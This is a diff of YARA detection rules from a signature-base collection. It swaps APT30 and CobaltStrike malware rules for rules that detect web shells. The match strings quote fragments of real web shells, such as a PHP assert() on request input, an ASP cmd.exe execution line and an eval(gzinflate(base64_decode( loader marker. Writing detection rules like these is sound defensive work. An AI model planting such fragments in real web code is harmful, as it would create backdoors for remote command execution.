+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1771-L1785"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d01144c04e7a46870a8dd823eb2fe5c8"
+		logic_hash = "b93394f4e05cc96c31a8adcb0981aa8b069780893c469b41ece3d3ce92c42251"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "#hostid" fullword ascii
-		$s1 = "\\Windows\\C" ascii
-		$s5 = "TimUmove" fullword ascii
-		$s6 = "Moziea/4.0 (c" fullword ascii
-		$s7 = "StartupNA" fullword ascii
+		$s3 = "array('cpp','cxx','hxx','hpp','cc','jxx','c++','vcproj'),"
+		$s9 = "++$F; $File = urlencode($dir[$dirFILE]); $eXT = '.:'; if (strpos($dir[$dirFILE],"
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Generic_1 : FILE
+rule SIGNATURE_BASE_Webshell_PHP_B37
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file b37.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4d21f402-24da-5e38-9225-a1461e61802f"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L998-L1031"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0a2d4e8583286a3f44b49dc902143ee1ea321d26275c6cbcd54876e94b8cd2a3"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1786-L1799"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0421445303cfd0ec6bc20b3846e30ff0"
+		logic_hash = "ae0cca5723a1e885c26ece5082c24f4c95f0262b8e7baf6db5efde5cfee2cc42"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "aaa5c64200ff0818c56ebe4c88bcc1143216c536"
-		hash1 = "cb4263cab467845dae9fae427e3bbeb31c6a14c2"
-		hash2 = "b69b95db8a55a050d6d6c0cba13d73975b8219ca"
-		hash3 = "5c29e21bbe8873778f9363258f5e570dddcadeb9"
-		hash4 = "d5cb07d178963f2dea2c754d261185ecc94e09d6"
-		hash5 = "626dcdd7357e1f8329e9137d0f9883f57ec5c163"
-		hash6 = "843997b36ed80d3aeea3c822cb5dc446b6bfa7b9"
 
 	strings:
-		$s0 = "%s\\%s.txt" fullword
-		$s1 = "\\ldsysinfo.txt"
-		$s4 = "(Extended Wansung)" fullword
-		$s6 = "Computer Name:" fullword
-		$s7 = "%s %uKB %04u-%02u-%02u %02u:%02u" fullword
-		$s8 = "ASSAMESE" fullword
-		$s9 = "BELARUSIAN" fullword
-		$s10 = "(PR China)" fullword
-		$s14 = "(French)" fullword
-		$s15 = "AdvancedServer" fullword
-		$s16 = "DataCenterServer" fullword
-		$s18 = "(Finland)" fullword
-		$s19 = "%s %04u-%02u-%02u %02u:%02u" fullword
-		$s20 = "(Chile)" fullword
+		$s0 = "xmg2/G4MZ7KpNveRaLgOJvBcqa2A8/sKWp9W93NLXpTTUgRc"
 
 	condition:
-		filesize <250KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Generic_2 : FILE
+rule SIGNATURE_BASE_Webshell_Php_Backdoor
 {
 	meta:
-		description = "FireEye APT30 Report Sample - from many files"
+		description = "Web Shell - file php-backdoor.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "60d7d661-50e8-5a9b-8366-eda8ff8ad9d4"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L1032-L1087"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "56c9e58298c318b6dff2cce0ab896bb7bdd22429e6015b8fe72b8ad2f1f69d30"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1800-L1814"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2b5cb105c4ea9b5ebc64705b4bd86bf7"
+		logic_hash = "1f754b4d29eb93316183cf904b375ded7ccdae1d2196fe05950c449ed0d690f4"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "aba8b9fa213e5e2f1f0404d13fecc20ea8651b57"
-		hash1 = "7f11f5c9475240e5dd2eea7726c9229972cffc1f"
-		hash2 = "94d3f91d1e50ecea729617729013c3d143bf2c3e"
-		hash3 = "7e516ec04f28c76d67b8111ddfe58bbd628362cc"
-		hash4 = "6b27bc0b0460b0a25b45d897ed4f399106c284d9"
-		hash5 = "6df5b4b3da0964153bad22fb1f69483ae8316655"
-		hash6 = "b68bce61dfd8763c3003480ba4066b3cb1ef126e"
-		hash7 = "cc124682246d098740cfa7d20aede850d49b6597"
-		hash8 = "1ef415bca310575944934fc97b0aa720943ba512"
-		hash9 = "0559ab9356dcc869da18b2c96f48b76478c472b3"
-		hash10 = "f15272042a4f9324ad5de884bd50f4072f4bdde3"
-		hash11 = "1d93d5f5463cdf85e3c22c56ed1381957f4efaac"
-		hash12 = "b6f1fb0f8a2fb92a3c60e154f24cfbca1984529f"
-		hash13 = "9967a99a1b627ddb6899919e32a0f544ea498b48"
-		hash14 = "95a3c812ca0ad104f045b26c483495129bcf37ca"
-		hash15 = "bde9a72b2113d18b4fa537cc080d8d8ba1a231e8"
-		hash16 = "ce1f53e06feab1e92f07ed544c288bf39c6fce19"
-		hash17 = "72dae031d885dbf492c0232dd1c792ab4785a2dc"
-		hash18 = "a2ccba46e40d0fb0dd3e1dba160ecbb5440862ec"
-		hash19 = "c8007b59b2d495029cdf5b7b8fc8a5a1f7aa7611"
-		hash20 = "9c6f470e2f326a055065b2501077c89f748db763"
-		hash21 = "af3e232559ef69bdf2ee9cd96434dcec58afbe5a"
-		hash22 = "e72e67ba32946c2702b7662c510cc1242cffe802"
-		hash23 = "8fc0b1618b61dce5f18eba01809301cb7f021b35"
-		hash24 = "6a8159da055dac928ba7c98ea1cdbe6dfb4a3c22"
-		hash25 = "47463412daf0b0a410d3ccbb7ea294db5ff42311"
-		hash26 = "e6efa0ccfddda7d7d689efeb28894c04ebc72be2"
-		hash27 = "43a3fc9a4fee43252e9a570492e4efe33043e710"
-		hash28 = "7406ebef11ca9f97c101b37f417901c70ab514b1"
-		hash29 = "53ed9b22084f89b4b595938e320f20efe65e0409"
 
 	strings:
-		$s0 = "%s\\%s\\KB985109.log" fullword
-		$s1 = "%s\\%s\\KB989109.log" fullword
-		$s2 = "Opera.exe" fullword wide
-		$s3 = "%s:All online success on %u!" fullword
-		$s4 = "%s:list online success on %u!" fullword
-		$s5 = "%s:All online fail!" fullword
-		$s6 = "Copyright Opera Software 1995-" wide
-		$s7 = "%s:list online fail!" fullword
-		$s8 = "OnlineTmp.txt" fullword
-		$s9 = "Opera Internet Browser" fullword wide
-		$s12 = "Opera Software" fullword wide
-		$s15 = "Check lan have done!!!" fullword
-		$s16 = "List End." fullword
+		$s1 = "if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname))" fullword
+		$s2 = "<pre><form action=\"<? echo $PHP_SELF; ?>\" METHOD=GET >execute command: <input "
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Generic_4 : FILE
+rule SIGNATURE_BASE_Webshell_Asp_Dabao
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file dabao.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2b246ae2-ec7d-5813-913e-729e4192da59"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L1110-L1140"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d6a45baee2741c5ebb05fc3f17974a041cd37f665df1e67934b0928fc75f37c3"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1815-L1829"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3919b959e3fa7e86d52c2b0a91588d5d"
+		logic_hash = "62cf46dc16a7365d196c2cb8ede8b1380a0877d134d3726d7c777096a4eda942"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "bb390f99bfde234bbed59f6a0d962ba874b2396c"
-		hash1 = "b47e20ac5889700438dc241f28f4e224070810d2"
-		hash2 = "a9a50673ac000a313f3ddba55d63d9773b9f4143"
-		hash3 = "ac96d7f5957aef09bd983465c497de24c6d17a92"
 
 	strings:
-		$s0 = "del NetEagle_Scout.bat" fullword
-		$s1 = "NetEagle_Scout.bat" fullword
-		$s2 = "\\visit.exe"
-		$s3 = "\\System.exe"
-		$s4 = "\\System.dat"
-		$s5 = "\\ieupdate.exe"
-		$s6 = "GOTO ERROR" fullword
-		$s7 = ":ERROR" fullword
-		$s9 = "IF EXIST " fullword
-		$s10 = "ioiocn" fullword
-		$s11 = "SetFileAttribute" fullword
-		$s12 = "le_0*^il" fullword
-		$s13 = "le_.*^il" fullword
-		$s14 = "le_-*^il" fullword
+		$s2 = " Echo \"<input type=button name=Submit onclick=\"\"document.location =&#039;\" &"
+		$s8 = " Echo \"document.Frm_Pack.FileName.value=\"\"\"\"+year+\"\"-\"\"+(month+1)+\"\"-"
 
 	condition:
-		filesize <250KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Generic_5 : FILE
+rule SIGNATURE_BASE_Webshell_Php_2
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file 2.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e00a670e-cd95-515f-8109-219ce5121ba4"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L1142-L1163"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a9d93d7dbf8c5e97ce77cf3fef4941a01c5b1c6bcee40c6f4ca7117d8aee289e"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1830-L1843"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "267c37c3a285a84f541066fc5b3c1747"
+		logic_hash = "bd485c825ae7ac11ff67d109d3c07fb405272a5919e00af39788d1a9c94e754d"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "cb4833220c508182c0ccd4e0d5a867d6c4e675f8"
-		hash1 = "dfc9a87df2d585c479ab02602133934b055d156f"
-		hash2 = "bf59d5ff7d38ec5ffb91296e002e8742baf24db5"
 
 	strings:
-		$s0 = "regsvr32 /s \"%ProgramFiles%\\Norton360\\Engine\\5.1.0.29\\ashelper.dll\"" fullword
-		$s1 = "name=\"ftpserver.exe\"/>" fullword
-		$s2 = "LiveUpdate.EXE" fullword wide
-		$s3 = "<description>FTP Explorer</description>" fullword
-		$s4 = "\\ashelper.dll"
-		$s5 = "LiveUpdate" fullword wide
+		$s0 = "<?php assert($_REQUEST[\"c\"]);?> " fullword
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Generic_6 : FILE
+rule SIGNATURE_BASE_Webshell_Asp_Cmdasp
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file cmdasp.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "dfd104bd-daf4-593a-b161-61f43aec048c"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L1165-L1186"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ff7473e43e11e31fe6ad997009834f661a0120317e479184410456c99f72b613"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1844-L1858"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "57b51418a799d2d016be546f399c2e9b"
+		logic_hash = "4259419b4db8e6a83df6f7d258d41028f7f76b0fd2308eeadb4555066c5a2940"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "b9aafb575d3d1732cb8fdca5ea226cebf86ea3c9"
-		hash1 = "2c5e347083b77c9ead9e75d41e2fabe096460bba"
-		hash2 = "5d39a567b50c74c4a921b5f65713f78023099933"
 
 	strings:
-		$s0 = "GetStar" fullword
-		$s1 = ".rdUaS" fullword
-		$s2 = "%sOTwp/&A\\L" fullword
-		$s3 = "a Encrt% Flash Disk" fullword
-		$s4 = "ypeAutoRuChec" fullword
-		$s5 = "NoDriveT" fullword
+		$s0 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>" fullword
+		$s7 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)" fullword
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Generic_7 : FILE
+rule SIGNATURE_BASE_Webshell_Spjspshell
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file spjspshell.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bba40092-267b-5231-92f1-f222c9f888ee"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L1188-L1206"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b5a272cbeb46be9b120acdbe12d795eddc05765777e4157d818c2b91ea7b782b"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1859-L1872"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d39d51154aaad4ba89947c459a729971"
+		logic_hash = "7926eadd3ffb21de73a63e7a28a525037bf88396ea369599b41ac8c0b0d112ad"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "2415f661046fdbe3eea8cd276b6f13354019b1a6"
-		hash1 = "e814914079af78d9f1b71000fee3c29d31d9b586"
-		hash2 = "0263de239ccef669c47399856d481e3361408e90"
 
 	strings:
-		$s1 = "Xjapor_*ata" fullword
-		$s2 = "Xjapor_o*ata" fullword
-		$s4 = "Ouopai" fullword
+		$s7 = "Unix:/bin/sh -c tar vxf xxx.tar Windows:c:\\winnt\\system32\\cmd.exe /c type c:"
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Generic_8 : FILE
+rule SIGNATURE_BASE_Webshell_Jsp_Action
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file action.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a6845222-0a3e-5327-a448-36e8d54362a5"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L1207-L1232"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2c240d2a35ce3d621d108d03d4e720ddf86e248047fb4dd7f9724e64020caa7f"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1873-L1887"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5a7d931094f5570aaf5b7b3b06c3d8c0"
+		logic_hash = "5ea7d074d0fe98cf2514a65231013a374532d6b3aa2487bcc34d4285f558752a"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "b47e20ac5889700438dc241f28f4e224070810d2"
-		hash1 = "a9a50673ac000a313f3ddba55d63d9773b9f4143"
-		hash2 = "ac96d7f5957aef09bd983465c497de24c6d17a92"
 
 	strings:
-		$s0 = "Windows NT4.0" fullword
-		$s1 = "Windows NT3.51" fullword
-		$s2 = "%d;%d;%d;%ld;%ld;%ld;" fullword
-		$s3 = "%s %d.%d Build%d %s" fullword
-		$s4 = "MSAFD Tcpip [TCP/IP]" fullword
-		$s5 = "SQSRSS" fullword
-		$s8 = "WM_COMP" fullword
-		$s9 = "WM_MBU" fullword
-		$s11 = "WM_GRID" fullword
-		$s12 = "WM_RBU" fullword
+		$s1 = "String url=\"jdbc:oracle:thin:@localhost:1521:orcl\";" fullword
+		$s6 = "<%@ page contentType=\"text/html;charset=gb2312\"%>" fullword
 
 	condition:
-		filesize <250KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Generic_9 : FILE
+rule SIGNATURE_BASE_Webshell_Inderxer
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file Inderxer.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cf259f8d-e0a9-579d-93e7-ec14d99faf81"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L1234-L1255"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0b30c2f0bd654371bf3ac4f9d4e700e1544b62a6c0a072d506160c443fc5fe9d"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1888-L1901"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9ea82afb8c7070817d4cdf686abe0300"
+		logic_hash = "915f2f38c1ca1321980ac66ebb95b0c46443e0ba64cc4b2014200db43439c85e"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "00d9949832dc3533592c2ce06a403ef19deddce9"
-		hash1 = "27a2b981d4c0bb8c3628bfe990db4619ddfdff74"
-		hash2 = "05f66492c163ec2a24c6a87c7a43028c5f632437"
-		hash3 = "263f094da3f64e72ef8dc3d02be4fb33de1fdb96"
 
 	strings:
-		$s0 = "%s\\%s\\$NtRecDoc$" fullword
-		$s1 = "%s(%u)%s" fullword
-		$s2 = "http://%s%s%s" fullword
-		$s3 = "1.9.1.17" fullword wide
-		$s4 = "(C)Firefox and Mozilla Developers, according to the MPL 1.1/GPL 2.0/LGPL" wide
+		$s4 = "<td>Nereye :<td><input type=\"text\" name=\"nereye\" size=25></td><td><input typ"
 
 	condition:
-		filesize <250KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_Cobaltstrike_C2_Host_Indicator : FILE
+rule SIGNATURE_BASE_Webshell_Asp_Rader
 {
 	meta:
-		description = "Detects CobaltStrike C2 host artifacts"
-		author = "yara@s3c.za.net"
-		id = "7f15ee30-664e-59b8-9e31-35d88e58a45e"
-		date = "2019-08-16"
+		description = "Web Shell - file Rader.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cobaltstrike_evasive.yar#L1-L14"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4761e282e9473ba665a597894ed514d057309703a7d5b4e462ef0e779bbb8c39"
-		score = 60
-		quality = 65
-		tags = "FILE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1902-L1916"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ad1a362e0a24c4475335e3e891a01731"
+		logic_hash = "b578f3e844cbb361f455e55353fad2f0134ede7c3c468cebad9ae265e6e768b8"
+		score = 70
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$c2_indicator_fp = "#Host: %s"
-		$c2_indicator = "#Host:"
+		$s1 = "FONT-WEIGHT: bold; FONT-SIZE: 10px; BACKGROUND: none transparent scroll repeat 0"
+		$s3 = "m\" target=inf onClick=\"window.open('?action=help','inf','width=450,height=400 "
 
 	condition:
-		$c2_indicator and not $c2_indicator_fp and not uint32(0)==0x0a786564 and not uint32(0)==0x0a796564
+		all of them
 }
-rule SIGNATURE_BASE_Cobaltstrike_Sleep_Decoder_Indicator
+rule SIGNATURE_BASE_Webshell_C99_Madnet_Smowu
 {
 	meta:
-		description = "Detects CobaltStrike sleep_mask decoder"
-		author = "yara@s3c.za.net"
-		id = "d5b53d68-55f9-5837-9b0c-e7be2f3bd072"
-		date = "2021-07-19"
+		description = "Web Shell - file smowu.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cobaltstrike_evasive.yar#L16-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f3243c326df18edbd15c2d9120379588e61709efb9295b9584c0565c04ee38a5"
-		score = 75
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1917-L1935"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3aaa8cad47055ba53190020311b0fb83"
+		logic_hash = "5c4f76bdbe535a899e40c890eb1ea65e070c781fe5dd44cf13d4832cfd6d2e13"
+		score = 70
 		quality = 85
 		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$sleep_decoder = { 48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 83 EC 20 4C 8B 51 08 41 8B F0 48 8B EA 48 8B D9 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 }
+		$s0 = "//Authentication" fullword
+		$s1 = "$login = \"" fullword
+		$s2 = "eval(gzinflate(base64_decode('"
+		$s4 = "//Pass"
+		$s5 = "$md5_pass = \""
+		$s6 = "//If no pass then hash"
 
 	condition:
-		$sleep_decoder
+		all of them
 }
-rule SIGNATURE_BASE_Cobaltstrike_C2_Encoded_XOR_Config_Indicator
+rule SIGNATURE_BASE_Webshell_Php_Moon
 {
 	meta:
-		description = "Detects CobaltStrike C2 encoded profile configuration"
-		author = "yara@s3c.za.net"
-		id = "8e33c63d-eaba-5851-88f4-ef7261a0a618"
-		date = "2021-07-08"
+		description = "Web Shell - file moon.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cobaltstrike_evasive.yar#L28-L295"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6b25ee9064e925c183ef7599c95ecffce48c7f96eea714fa5f6441b21716277e"
-		score = 75
-		quality = 60
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1936-L1951"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2a2b1b783d3a2fa9a50b1496afa6e356"
+		logic_hash = "4e26dbef647caee19a8707a067c228ba96bd986369e4c87c68964ae42c85b09a"
+		score = 70
+		quality = 85
 		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s000 = { 00 01 00 01 00 02 ?? ?? 00 02 00 01 00 02 ?? ?? 00 03 00 02 00 04 ?? ?? ?? ?? 00 04 00 02 00 04 ?? ?? ?? ?? 00 05 00 01 00 02 ?? ?? }
